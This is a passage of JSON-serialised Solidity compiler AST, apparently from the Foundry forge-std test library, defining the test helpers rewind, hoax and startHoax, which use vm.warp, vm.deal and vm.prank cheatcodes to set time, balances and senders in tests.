"}},"id":5590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24774:9:3","memberName":"timestamp","nodeType":"MemberAccess","src":"24768:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5591,"name":"time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5583,"src":"24786:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24768:22:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5586,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24760:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5588,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24763:4:3","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"24760:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":5593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24760:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5594,"nodeType":"ExpressionStatement","src":"24760:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rewind","nameLocation":"24712:6:3","parameters":{"id":5584,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5583,"mutability":"mutable","name":"time","nameLocation":"24727:4:3","nodeType":"VariableDeclaration","scope":5596,"src":"24719:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5582,"name":"uint256","nodeType":"ElementaryTypeName","src":"24719:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24718:14:3"},"returnParameters":{"id":5585,"nodeType":"ParameterList","parameters":[],"src":"24750:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5617,"nodeType":"FunctionDefinition","src":"24861:124:3","nodes":[],"body":{"id":5616,"nodeType":"Block","src":"24911:74:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5604,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5598,"src":"24929:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5607,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24940:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24945:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"24940:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5601,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24921:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5603,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24924:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"24921:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24921:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5609,"nodeType":"ExpressionStatement","src":"24921:28:3"},{"expression":{"arguments":[{"id":5613,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5598,"src":"24968:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5610,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24959:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5612,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24962:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"24959:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24959:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5615,"nodeType":"ExpressionStatement","src":"24959:19:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"24870:4:3","parameters":{"id":5599,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5598,"mutability":"mutable","name":"msgSender","nameLocation":"24883:9:3","nodeType":"VariableDeclaration","scope":5617,"src":"24875:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5597,"name":"address","nodeType":"ElementaryTypeName","src":"24875:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"24874:19:3"},"returnParameters":{"id":5600,"nodeType":"ParameterList","parameters":[],"src":"24911:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5638,"nodeType":"FunctionDefinition","src":"24991:134:3","nodes":[],"body":{"id":5637,"nodeType":"Block","src":"25055:70:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5627,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5619,"src":"25073:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5628,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5621,"src":"25084:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5624,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25065:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25068:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25065:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25065:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5630,"nodeType":"ExpressionStatement","src":"25065:24:3"},{"expression":{"arguments":[{"id":5634,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5619,"src":"25108:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5631,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25099:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25102:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"25099:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25099:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5636,"nodeType":"ExpressionStatement","src":"25099:19:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25000:4:3","parameters":{"id":5622,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5619,"mutability":"mutable","name":"msgSender","nameLocation":"25013:9:3","nodeType":"VariableDeclaration","scope":5638,"src":"25005:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5618,"name":"address","nodeType":"ElementaryTypeName","src":"25005:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5621,"mutability":"mutable","name":"give","nameLocation":"25032:4:3","nodeType":"VariableDeclaration","scope":5638,"src":"25024:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5620,"name":"uint256","nodeType":"ElementaryTypeName","src":"25024:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25004:33:3"},"returnParameters":{"id":5623,"nodeType":"ParameterList","parameters":[],"src":"25055:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5662,"nodeType":"FunctionDefinition","src":"25131:148:3","nodes":[],"body":{"id":5661,"nodeType":"Block","src":"25197:82:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5648,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5640,"src":"25215:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5651,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25226:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5650,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25231:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"25226:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5645,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25207:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5647,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25210:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25207:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25207:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5653,"nodeType":"ExpressionStatement","src":"25207:28:3"},{"expression":{"arguments":[{"id":5657,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5640,"src":"25254:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5658,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5642,"src":"25265:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5654,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25245:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5656,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25248:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"25245:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25245:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5660,"nodeType":"ExpressionStatement","src":"25245:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25140:4:3","parameters":{"id":5643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5640,"mutability":"mutable","name":"msgSender","nameLocation":"25153:9:3","nodeType":"VariableDeclaration","scope":5662,"src":"25145:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5639,"name":"address","nodeType":"ElementaryTypeName","src":"25145:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5642,"mutability":"mutable","name":"origin","nameLocation":"25172:6:3","nodeType":"VariableDeclaration","scope":5662,"src":"25164:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5641,"name":"address","nodeType":"ElementaryTypeName","src":"25164:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25144:35:3"},"returnParameters":{"id":5644,"nodeType":"ParameterList","parameters":[],"src":"25197:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5686,"nodeType":"FunctionDefinition","src":"25285:158:3","nodes":[],"body":{"id":5685,"nodeType":"Block","src":"25365:78:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5674,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5664,"src":"25383:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5675,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5668,"src":"25394:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5671,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25375:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5673,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25378:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25375:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5676,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25375:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5677,"nodeType":"ExpressionStatement","src":"25375:24:3"},{"expression":{"arguments":[{"id":5681,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5664,"src":"25418:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5682,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5666,"src":"25429:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5678,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25409:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25412:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"25409:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25409:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5684,"nodeType":"ExpressionStatement","src":"25409:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25294:4:3","parameters":{"id":5669,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5664,"mutability":"mutable","name":"msgSender","nameLocation":"25307:9:3","nodeType":"VariableDeclaration","scope":5686,"src":"25299:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5663,"name":"address","nodeType":"ElementaryTypeName","src":"25299:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5666,"mutability":"mutable","name":"origin","nameLocation":"25326:6:3","nodeType":"VariableDeclaration","scope":5686,"src":"25318:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5665,"name":"address","nodeType":"ElementaryTypeName","src":"25318:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5668,"mutability":"mutable","name":"give","nameLocation":"25342:4:3","nodeType":"VariableDeclaration","scope":5686,"src":"25334:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5667,"name":"uint256","nodeType":"ElementaryTypeName","src":"25334:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25298:49:3"},"returnParameters":{"id":5670,"nodeType":"ParameterList","parameters":[],"src":"25365:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5707,"nodeType":"FunctionDefinition","src":"25514:134:3","nodes":[],"body":{"id":5706,"nodeType":"Block","src":"25569:79:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5694,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5688,"src":"25587:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5695,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25598:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5696,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25603:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"25598:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5691,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25579:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25582:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25579:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25579:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5699,"nodeType":"ExpressionStatement","src":"25579:28:3"},{"expression":{"arguments":[{"id":5703,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5688,"src":"25631:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5700,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25617:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25620:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"25617:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25617:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5705,"nodeType":"ExpressionStatement","src":"25617:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25523:9:3","parameters":{"id":5689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5688,"mutability":"mutable","name":"msgSender","nameLocation":"25541:9:3","nodeType":"VariableDeclaration","scope":5707,"src":"25533:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5687,"name":"address","nodeType":"ElementaryTypeName","src":"25533:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25532:19:3"},"returnParameters":{"id":5690,"nodeType":"ParameterList","parameters":[],"src":"25569:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5728,"nodeType":"FunctionDefinition","src":"25654:144:3","nodes":[],"body":{"id":5727,"nodeType":"Block","src":"25723:75:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5717,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5709,"src":"25741:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5718,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5711,"src":"25752:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5714,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25733:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5716,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25736:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25733:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25733:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5720,"nodeType":"ExpressionStatement","src":"25733:24:3"},{"expression":{"arguments":[{"id":5724,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5709,"src":"25781:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5721,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25767:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25770:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"25767:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5725,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25767:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5726,"nodeType":"ExpressionStatement","src":"25767:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25663:9:3","parameters":{"id":5712,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5709,"mutability":"mutable","name":"msgSender","nameLocation":"25681:9:3","nodeType":"VariableDeclaration","scope":5728,"src":"25673:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5708,"name":"address","nodeType":"ElementaryTypeName","src":"25673:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5711,"mutability":"mutable","name":"give","nameLocation":"25700:4:3","nodeType":"VariableDeclaration","scope":5728,"src":"25692:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5710,"name":"uint256","nodeType":"ElementaryTypeName","src":"25692:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25672:33:3"},"returnParameters":{"id":5713,"nodeType":"ParameterList","parameters":[],"src":"25723:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5752,"nodeType":"FunctionDefinition","src":"25917:158:3","nodes":[],"body":{"id":5751,"nodeType":"Block","src":"25988:87:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5738,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5730,"src":"26006:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5741,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5739,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26017:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26022:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"26017:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits 